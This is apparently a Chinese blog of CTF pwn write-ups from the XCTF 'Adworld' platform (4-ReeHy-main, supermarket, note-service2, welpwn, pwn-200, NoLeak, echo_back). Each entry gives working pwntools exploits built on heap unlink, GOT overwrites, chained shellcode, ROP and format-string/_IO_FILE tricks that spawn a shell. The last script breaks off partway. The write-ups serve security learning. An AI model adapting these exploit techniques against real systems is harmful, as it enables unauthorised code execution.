0%

攻防世界刷题记录

攻防世界

4-ReeHy-main

漏洞点

  1. 在新建堆的时候没有限制大小,输入负数可以任意大小,同时输入0x80可以刚好泄露堆地址
  2. free时候堆块指针还在,造成可以double free
  3. buf栈溢出
  4. index可以负数

利用

先利用index负数,修改size大小,然后溢出造成unlink,然后简单了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 0
host = '111.198.29.45'
port = 44275
context.log_level = 'debug'
exe = './4-ReeHY-main'
# Load it if has exe
try:
context.binary = exe
elf = ELF(exe)
except Exception as e:
print("Elf can't be load")

# load libc
#libc = elf.libc
libc = ELF('./libc.so.6')


if local:
io = process(exe)
else:
io = remote(host,port, timeout=10)
#don't forget to change it
s = lambda data : io.send(str(data))
sa = lambda delim,data : io.sendafter(str(delim), str(data))
sl = lambda data : io.sendline(str(data))
sla = lambda delim,data : io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 : io.recv(numb)
rl = lambda : io.recvline()
ru = lambda delim,drop=True : io.recvuntil(delim, drop)
rg = lambda regex : io.recvregex(regex)
rp = lambda timeout=1 : io.recvrepeat(timeout)
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
lg = lambda s,addr : io.success('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
ga = lambda job="" : gdb.attach(io, job) if local else 0
ia = lambda : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
ga('b *{}'.format(hex(text_base+addr)))
else:
ga("b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
return map(int, os.popen("one_gadget --raw " + filename).readlines()[0].split(' '))

#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x3ff000)

def c(idx):
sla("$ ", idx)

def new(size, idx, content):
c(1)
sla("size\n", size)
sla("cun\n", idx)
sa("content\n", content)

def edit(idx, content):
c(3)
sla("edit\n",idx)
sa("content\n", content)

def delete(idx):
c(2)
sla("dele\n", idx)

def exp(host, rce=False):
if rce:
one_gadget = get_one_gadget(libc.path)

#start here
c("NoOne")
addr = 0x6020E0

new(0x80, 0, '0')
new(0x80, 1, '1')
delete(-2)
payload = p32(0x100) + p32(0x80) + p32(0) + p32(0)
new(0x10, 2, payload)

fd = addr-0x18
bk = addr - 0x10
payload = flat([
0,
0x81,
fd,
bk,
'a'*0x60,
0x80,
0x90
])
edit(0, payload)
delete(1)
payload = flat([
'0'*0x18,
p64(0x6020f0),
p64(1),
p64(elf.got['free']),
1,
elf.got['fflush']
])
edit(0, payload)
edit(1, p64(elf.plt['puts']))
delete(2)
addr = uu64(r(6))
lg("addr", addr)
from LibcSearcher import *
obj = LibcSearcher("fflush", addr)
libc_base = addr - obj.dump('fflush')
sys_addr = libc_base + obj.dump('system')
new(0x20, 3, "/bin/sh")
edit(0, p64(elf.got['free']))
edit(1, p64(sys_addr))
delete(3)
#ga()
ia()
if __name__ == '__main__':
exp(host,)

supermarket

思路

他有个结构体指针,存储了desc的地址,我们目的是修改一个结构体指针,这样我们就可以任意地址写了,

接着漏洞点是realloc,也就是第五个功能,realloc的大小如果小于原来的size,他的大小不会修改,所以我们可以重复在一个地址里realloc

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 1
host = '127.0.0.1'
port = 10000
context.log_level = 'debug'
exe = './bak'
# Load it if has exe
try:
context.binary = exe
elf = ELF(exe)
except Exception as e:
print("Elf can't be load")

# load libc
libc = elf.libc if context.binary else ELF("./libc.so.6")


if local:
io = process(exe)
else:
io = remote(host,port, timeout=10)
#don't forget to change it
s = lambda data : io.send(str(data))
sa = lambda delim,data : io.sendafter(str(delim), str(data))
sl = lambda data : io.sendline(str(data))
sla = lambda delim,data : io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 : io.recv(numb)
rl = lambda : io.recvline()
ru = lambda delim,drop=True : io.recvuntil(delim, drop)
rg = lambda regex : io.recvregex(regex)
rp = lambda timeout=1 : io.recvrepeat(timeout)
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
lg = lambda s,addr : io.success('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
ga = lambda job="" : gdb.attach(io, job) if local else 0
ia = lambda : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
ga('b *{}'.format(hex(text_base+addr)))
else:
ga("b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
return map(int, os.popen("one_gadget --raw " + filename).readlines()[0].split(' '))

#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: i386-32-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x8047000)

def c(idx):
sla(">> ", idx)

def new(name, price, size, desc):
c(1)
sla(":", name)
sla(":", price)
sla(":", size)
sla(":", desc)

def delete(name):
c(2)
sla(":", name)

def show():
c(3)

def edit(name, price):
c(4)
sla(":", name)
sla(":", price)

def realloc(name, size, desc):
c(5)
sla(":", name)
sla(":", size)
sla(":", desc)


def exp(host, rce=False):
if rce:
one_gadget = get_one_gadget(libc.path)

#start here
new("1", 1, 0x80, "A"*0x80)
new("2", 2, 0x18, "B"*0x18)
realloc("1", 0xb0, "")
new("3", 3, 0x50, 'C'*0x7)
payload = flat([
"3\x00",
"1"*(0x1c-2-4-4),
0x50,
elf.got['atoi'],
])
payload += p16(0x59)
realloc("1", 0x80, payload)
ga()
show()
for _ in xrange(3):
ru("des.")
addr = uu32(r(4))
lg("atoi", addr)
libc.address = addr - libc.symbols['atoi']
realloc("3", 0x50, p32(libc.symbols['system']))
sl("/bin/sh\x00")
ia()
if __name__ == '__main__':
exp(host,)

note-service2

这道题又让我学了不少东西

复习了下jmp的跳转,以及机器码

0xE8 CALL 后面的四个字节是地址
0xE9 JMP 后面的四个字节是偏移
0xEB JMP 后面的二个字节是偏移
0xFF15 CALL 后面的四个字节是存放地址的地址
0xFF25 JMP 后面的四个字节是存放地址的地址
0x68 PUSH 后面的四个字节入栈
0x6A PUSH 后面的一个字节入栈

漏洞

发觉有个double free,然后8个字节不知道怎么利用,然后卡死了

看了wp后,原来这道又是出自pwnable.tw的,经过他人修改,然后出题了,考点是shellcode链的构造,也就是手写汇编能力

漏洞利用

这里查看保护发觉nx保护没开,所以想着如何写shellcode,8个字节,我也没想出怎么写shellcode,大佬们强啊,shellcode链,利用近转移,一步步跳过去,组合起来就是大shellcode了,这跟ROP类似啊,我怎么就想不到呢,在此还是先佩服下师傅们

细节点

调试部分我用edb测试了下,edb打开随便一个程序,测了下E916,发觉他会自动改成5个字节
其余指令可以用pwntools测试,asm(‘xor rsi,rsi’,arch=’amd64’)
free_got - heap地址,这个相对偏移是确定的,所以可以用index这样寻址

至于为什么是E916,这个可以计算下,
短转移:
假设目前指令为:

1
2
3
4
5
6
7
0x1000 E9 16 00 00 00
0x1005 90
0x1006 90
.
.
.
0x101b 90

1000+16+5=101b

至于为什么这么计算,通俗点讲就是执行完这条指令才会跳转,所以执行完这条指令地址本应该为1005,所以为什么要+5,然后jmp的话,他要跳到相对于这里16处,所以就是0x101b处了

细想一下,delete(0)为什么可以执行system函数呢,因为free(0)的话,首先将参数传进去,也就是第一个堆块地址,就是存/bin/sh处,放到rdi里,后面开始执行shellcode链

编写shellcode链过程

1
2
3
4
5
6
7
8
0x00 0 0x21
0x10 0 0
0x20 0 0x21
0x30 0 0
0x40 0 0x21
0x50 0 0
0x60 0 0x21
0x70 0 0
  1. 建立起堆块的结构链条,如上
  2. 建立起sys_execve需要的寄存器rdi,rsi,rdx,rax
  3. rdi为/bin/sh,rsi=0,rdx=0,rax=0x3b
  4. xor rsi,rsi 对应字节码 0xf63148,三个字节,先将这个放进去,然后要跳转到0x30处,所以现在编写jmp语句 e9 大小,具体多少,0x30-0x10-3-5=0x18,所以是e918
1
2
3
4
5
6
7
8
0x00 0 0x21
0x10 00000018e94831f6 0
0x20 0 0x21
0x30 0 0
0x40 0 0x21
0x50 0 0
0x60 0 0x21
0x70 0 0
  1. xor rdx,rdx 对应字节码0xd23148,三个字节,接着跳 ,一样的 e918
1
2
3
4
5
6
7
8
0x00 0 0x21
0x10 00000018e94831f6 0
0x20 0 0x21
0x30 00000018e94831d2 0
0x40 0 0x21
0x50 0 0
0x60 0 0x21
0x70 0 0
  1. rax=0x3b, push 0x3b,pop rax,为0x3b6a58 三个字节,还是一样的
1
2
3
4
5
6
7
8
0x00 0 0x21
0x10 00000018e94831f6 0
0x20 0 0x21
0x30 00000018e94831d2 0
0x40 0 0x21
0x50 00000018e9586a3b 0
0x60 0 0x21
0x70 0 0
  1. 最后syscall 0x050f
1
2
3
4
5
6
7
8
0x00 0 0x21
0x10 00000018e94831f6 0
0x20 0 0x21
0x30 00000018e94831d2 0
0x40 0 0x21
0x50 00000018e9586a3b 0
0x60 0f05 0x21
0x70 0 0
  1. 测试了下,不成功,因为content不为8不会退出,那就加3个nop吧凑个整数,这样少跳3个nop就行,所以最后变成
1
2
3
4
5
6
7
8
0x00 0 0x21
0x10 16e99090904831f6 0
0x20 0 0x21
0x30 16e99090904831d2 0
0x40 0 0x21
0x50 16e9909090586a3b 0
0x60 9090909090900f50 0x21
0x70 0 0

emm,测试不成功,原因是,最多接受7个…题目里限制了,所以改成2个nop

1
2
3
4
5
6
7
8
0x00 0 0x21
0x10 0016e990904831f6 0
0x20 0 0x21
0x30 0016e990904831d2 0
0x40 0 0x21
0x50 0016e99090586a3b 0
0x60 0090909090900f50 0x21
0x70 0 0

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 1
host = '111.198.29.45'
port = 49964
context.log_level = 'debug'
exe = '/tmp/tmp.sGaluM2IXs/note'
# Load it if has exe
try:
context.binary = exe
elf = ELF(exe)
except Exception as e:
print("Elf can't be load")

# load libc
libc = elf.libc if context.binary else ELF("./libc.so.6")


if local:
io = process(exe)
else:
io = remote(host,port, timeout=10)
#don't forget to change it
s = lambda data : io.send(str(data))
sa = lambda delim,data : io.sendafter(str(delim), str(data))
sl = lambda data : io.sendline(str(data))
sla = lambda delim,data : io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 : io.recv(numb)
rl = lambda : io.recvline()
ru = lambda delim,drop=True : io.recvuntil(delim, drop)
rg = lambda regex : io.recvregex(regex)
rp = lambda timeout=1 : io.recvrepeat(timeout)
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
lg = lambda s,addr : io.success('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
ga = lambda job="" : gdb.attach(io, job) if local else 0
ia = lambda : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
ga('b *{}'.format(hex(text_base+addr)))
else:
ga("b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
return map(int, os.popen("one_gadget --raw " + filename).readlines()[0].split(' '))

#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX disabled
# PIE: PIE enabled
# RWX: Has RWX segments

def c(idx):
sla(">> ", idx)

def new(idx, content):
c(1)
sla(":", idx)
sla(":", 8)
sa(":", content)

def delete(idx):
c(4)
sla(":", idx)



def exp(host, rce=False):
if rce:
one_gadget = get_one_gadget(libc.path)

#start here
new(0, '/bin/sh')
new((elf.got['free']-0x2020A0)/8, asm('xor rsi,rsi')+ '\x90\x90\xe9\x16')
new(1, asm('push 0x3b\n pop rax') + '\x90\x90\xe9\x16')
new(2, asm('xor rdx, rdx') + '\x90\x90\xe9\x16')
new(3, asm('syscall') + '\x90'*5)
ga()
delete(0)
ia()
if __name__ == '__main__':
exp(host,)

welpwn

本来以为很简单,发觉有坑,复制的时候遇到\x00就停止复制了,所以最多只能传入一个地址,我在子函数中无法利用,只能利用main函数的buf来ROP,所以首先先滑过子函数的栈

1
2
3
4
5
0x7fff0c99d050:	0x6161616161616161	0x6161616161616161
0x7fff0c99d060: 0x6161616161616161 0x00000000004008a3
0x7fff0c99d070: 0x0000000000601040 0x000000000040059c
0x7fff0c99d080: 0x00000000004007cd 0x00007fe6cc9d190a
0x7fff0c99d090: 0x00007fe6cc9c1568 0x00007fe6ccb6d000

需要4个pop,在ret就行,第4个还不是我们需要的,所以借个pop4划过就好

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 1
host = '111.198.29.45'
port = 58449
context.log_level = 'debug'
exe = './a9ad88f80025427592b35612be5492fd'
# Load it if has exe
try:
context.binary = exe
elf = ELF(exe)
except Exception as e:
print("Elf can't be load")

# load libc
libc = elf.libc if context.binary else ELF("./libc.so.6")
#libc = ELF('./libc6_2.23-0ubuntu10_amd64.so')


if local:
io = process(exe)
else:
io = remote(host,port, timeout=10)
#don't forget to change it
s = lambda data : io.send(str(data))
sa = lambda delim,data : io.sendafter(str(delim), str(data))
sl = lambda data : io.sendline(str(data))
sla = lambda delim,data : io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 : io.recv(numb)
rl = lambda : io.recvline()
ru = lambda delim,drop=True : io.recvuntil(delim, drop)
rg = lambda regex : io.recvregex(regex)
rp = lambda timeout=1 : io.recvrepeat(timeout)
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
lg = lambda s,addr : io.success('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
ga = lambda job="" : gdb.attach(io, job) if local else 0
ia = lambda : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
ga('b *{}'.format(hex(text_base+addr)))
else:
ga("b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
return map(int, os.popen("one_gadget --raw " + filename).readlines()[0].split(' '))

#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x400000)



def exp(host, rce=False):
if rce:
one_gadget = get_one_gadget(libc.path)

#start here
ret_addr = 0x4007CD
pop_rdi = 0x4008a3
pop4_ret = 0x40089c
payload = 'a'* 0x18
payload += flat([
pop4_ret,
pop_rdi,
elf.got['__libc_start_main'],
elf.plt['puts'],
ret_addr,
])
ga("b *0x00000000004007CB\n c")
sla("RCTF\n", payload)
ru("a"*0x18)
r(3)
addr = uu64(r(6))
lg("addr", addr)
libc.address = addr - libc.symbols['__libc_start_main']
lg("libc_base", libc.address)
payload = flat([
"a"*0x18,
pop4_ret,
pop_rdi,
libc.search("/bin/sh").next(),
libc.symbols['system'],
ret_addr
])
sl(payload)
ia()
if __name__ == '__main__':
exp(host,)

pwn-200

libc泄露,然后shell,简单题。。原来没打成是因为libc下错了

libc6-i386_2.23-0ubuntu10_amd64 这个名字并不代表64位的,还是32位的。。太惨了。。。测了dynelf和LibcSearcher才发觉的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 0
host = '111.198.29.45'
port = 31637
context.log_level = 'debug'
context.terminal = ['mate-term2inal','--geometry=116x44-0+0','--hide-menubar', '-x','sh','-c',]
exe = './9c6084f8a3b2473e8a9e9815099bfec5'
# Load it if has exe
try:
context.binary = exe
elf = ELF(exe)
except Exception as e:
print("Elf can't be load")

# load_libc

libc = elf.libc if context.binary else ELF("./libc.so.6")
#libc = ELF('./libc6_2.23-0ubuntu3_i386.so')


if local:
io = process(exe)
else:
io = remote(host,port, timeout=10)
#don't forget to change it
s = lambda data : io.send(str(data))
sa = lambda delim,data : io.sendafter(str(delim), str(data))
sl = lambda data : io.sendline(str(data))
sla = lambda delim,data : io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 : io.recv(numb)
rl = lambda : io.recvline()
ru = lambda delim,drop=True : io.recvuntil(delim, drop)
rg = lambda regex : io.recvregex(regex)
rp = lambda timeout=1 : io.recvrepeat(timeout)
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
lg = lambda s,addr : io.success('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
ga = lambda job="" : gdb.attach(io, job) if local else 0
ia = lambda : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
ga('b *{}'.format(hex(text_base+addr)))
else:
ga("b *{}".format(hex(addr)))

# get_one_gadget


def get_one_gadget(filename):
return map(int, os.popen("one_gadget --raw " + filename).readlines()[0].split(' '))

#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: i386-32-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x8048000)



def exp(host, rce=False):
if rce:
one_gadget = get_one_gadget(libc.path)

#start here
offset = 112
vuln = 0x8048484
rl()
payload = flat([
'a'*offset,
elf.plt['write'],
vuln,
1,
elf.got['__libc_start_main'],
4
])
sl(payload)
addr = uu32(r(4))
from LibcSearcher import *
obj = LibcSearcher("__libc_start_main", addr)
libc_base = addr - obj.dump('__libc_start_main')
bin_sh = libc_base + obj.dump('str_bin_sh')
sys_addr = libc_base + obj.dump('system')
lg("__libc_start_main", addr)
lg("bin_sh",bin_sh)
# payload = flat([
# 'a'*offset,
# vuln
# ])
# sl(payload)
payload = flat([
'a'*offset,
sys_addr,
vuln,
bin_sh
])
ga()
sl(payload)
ia()
if __name__ == '__main__':
exp(host,)

NoLeak

挺简单的一道题,看了别人的wp后还不会做,还不如自己做呢,我以为有什么非常规手法,然后别人的手法更绕

漏洞点

一堆,不说了,都很明显,唯一不好的是got表开了保护,无法写got表,不然更简单

漏洞利用

方法1:
我是用unsortbin写main_arena,在用partial_write改写main_arena成malloc_hook,在运行unlink的经典方法修改全局指针

方法2:

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 1
host = args.HOST or '111.198.29.45'
port = int(args.PORT or 47991)
context.log_level = 'debug'
exe = '/tmp/tmp.m4zqN1ssXM/timu'
context.terminal = ['mate-terminal','--geometry=116x44-0+0','--hide-menubar', '-x','sh','-c',]

# Load it if has exe
try:
context.binary = exe
elf = ELF(exe)
except Exception as e:
print("Elf can't be load")

# load libc
libc = elf.libc if context.binary else ELF("./libc.so.6")


if local:
io = process(exe)
else:
io = remote(host,port, timeout=10)
#don't forget to change it
s = lambda data : io.send(str(data))
sa = lambda delim,data : io.sendafter(str(delim), str(data))
sl = lambda data : io.sendline(str(data))
sla = lambda delim,data : io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 : io.recv(numb)
rl = lambda : io.recvline()
ru = lambda delim,drop=True : io.recvuntil(delim, drop)
rg = lambda regex : io.recvregex(regex)
rp = lambda timeout=1 : io.recvrepeat(timeout)
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
lg = lambda s,addr : io.success('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
ga = lambda job="" : gdb.attach(io, job) if local else 0
ia = lambda : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
ga('b *{}'.format(hex(text_base+addr)))
else:
ga("b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
return map(int, os.popen("one_gadget --raw " + filename).readlines()[0].split(' '))

#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: Canary found
# NX: NX disabled
# PIE: No PIE (0x400000)
# RWX: Has RWX segments

def c(idx):
sla(":", idx)

def new(size, content="a"):
c(1)
sla(": ", size)
sa(": ", content)

def edit(idx, content):
c(3)
sla(": ", idx)
sla(": ", -1)
sa(": ", content)

def delete(idx):
c(2)
sla(": ", idx)


def exp(host, rce=False):
if rce:
one_gadget = get_one_gadget(libc.path)

#start here

new(0x80)
new(0x80)
ptr = 0x601040
payload = flat([
0,
0x80,
ptr-0x18,
ptr-0x10,
])
payload = payload.ljust(0x80,'a')
payload += flat([
0x80,
0x90
])
edit(0, payload)
delete(1)
new(0x100)
new(0x10)
delete(2)
edit(2, p64(0)+p64(0x601068-0x10))
new(0x100)
payload = flat([
p64(0)*3,
p64(0x601068)
])
edit(0, payload)
edit(0, p8(0x10))
edit(5, p64(0x601070))
edit(0, p64(0x601070))
edit(5, asm(shellcraft.sh()))

ga()
#new(0x10)
ia()
if __name__ == '__main__':
exp(host,)

echo_back

又是一道学到新点的题目,IO指针在scanf上的特性,具体看P4nda师傅文章,原理大概来说就是通过修改_IO_buf_base达到任意地址写,核心函数如下

知识点:partial write, _IO_FILE在scanf上利用,在pie基础上的rop,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
int
_IO_new_file_underflow (_IO_FILE *fp)
{
_IO_ssize_t count;
#if 0
/* SysV does not make this test; take it out for compatibility */
if (fp->_flags & _IO_EOF_SEEN)
return (EOF);
#endif

if (fp->_flags & _IO_NO_READS)
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;

if (fp->_IO_buf_base == NULL)
{
/* Maybe we already have a push back pointer. */
if (fp->_IO_save_base != NULL)
{
free (fp->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_doallocbuf (fp);
}
if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))
{
#if 0
_IO_flush_all_linebuffered ();
#else
_IO_acquire_lock (_IO_stdout);

if ((_IO_stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
== (_IO_LINKED | _IO_LINE_BUF))
_IO_OVERFLOW (_IO_stdout, EOF);

_IO_release_lock (_IO_stdout);
#endif
}

_IO_switch_to_get_mode (fp);
fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
fp->_IO_read_end = fp->_IO_buf_base;
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
= fp->_IO_buf_base;

count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base);
if (count <= 0)
{
if (count == 0)
fp->_flags |= _IO_EOF_SEEN;
else
fp->_flags |= _IO_ERR_SEEN, count = 0;
}
fp->_IO_read_end += count;
if (count == 0)
{
fp->_offset = _IO_pos_BAD;
return EOF;
}
if (fp->_offset != _IO_pos_BAD)
_IO_pos_adjust (fp->_offset, count);
return *(unsigned char *) fp->_IO_read_ptr;
}
libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)

我们目的便是这句

1
2
count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base);

让其指定地址写一段数据,在这中间的坑点,那位师傅也讲了,我只把我途中遇到的一些有意思的点说明下

有意思的点

偏移,这个老生常谈问题,不过现在有更便捷的办法了,利用Pwngdb的fmtarg

fmtarg利用

ret地址怎么算
计算方法

  1. 利用泄露出来的减去rbp+0x8处的地址便是差距了,因为rbp+8存的就是返回地址
  2. 就是利用pwndbg的retaddr功能了

还有个有意思的点,getchar()每次调用这个函数是会导致_IO_read_ptr++

IO_buf_base读取我们的payload后IO_read_end会+=size

这里还用了partial write部分写,修改IO_buf_read达到二次修改目的

p *stdin 可以查看stdin结构体

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 1
host = '127.0.0.1'
port = 10000
context.log_level = 'debug'
context.terminal = ['mate-terminal','--geometry=120x54--10+0','--hide-menubar', '-x','sh','-c',]
exe = '/tmp/tmp.8lwGmmOY0K/echo_back'
# Load it if has exe
try:
context.binary = exe
elf = ELF(exe)
except Exception as e:
print("Elf can't be load")

# load libc
libc = elf.libc if context.binary else ELF("./libc.so.6")


if local:
io = process(exe)
else:
io = remote(host,port, timeout=10)
#don't forget to change it
s = lambda data : io.send(str(data))
sa = lambda delim,data : io.sendafter(str(delim), str(data))
sl = lambda data : io.sendline(str(data))
sla = lambda delim,data : io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 : io.recv(numb)
rl = lambda : io.recvline()
ru = lambda delim,drop=True : io.recvuntil(delim, drop)
rg = lambda regex : io.recvregex(regex)
rp = lambda timeout=1 : io.recvrepeat(timeout)
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
lg = lambda s,addr : io.success('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
ga = lambda job="" : gdb.attach(io, job) if local else 0
ia = lambda : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
ga('b *{}'.format(hex(text_base+addr)))
else:
ga("b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
return map(int, os.popen("one_gadget --raw " + filename).readlines()[0].split(' '))

#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: PIE enabled
def c(idx):
sla("choice>> ", idx)

def setname(name):
c(1)
sa("name:", name)

def echo(content):
c(2)
sla("length:", -1)
if len(content) == 7:
s(content)
else:
sl(content)

def exp(host, rce=False):
if rce:
one_gadget = get_one_gadget(libc.path)
#start here
ga('''
b printf
c
c
''')

# first step
# leak addr
echo("%12$p")
ru("anonymous say:")
stack = int(rl(),16)
lg("stack", stack)

echo("%13$p")
ru("anonymous say:")
pie = int(rl(), 16)-0xd08
lg("pie", pie)

echo("%19$p")
ru("anonymous say:")
__libc_start_main_addr = int(rl(),16)-240
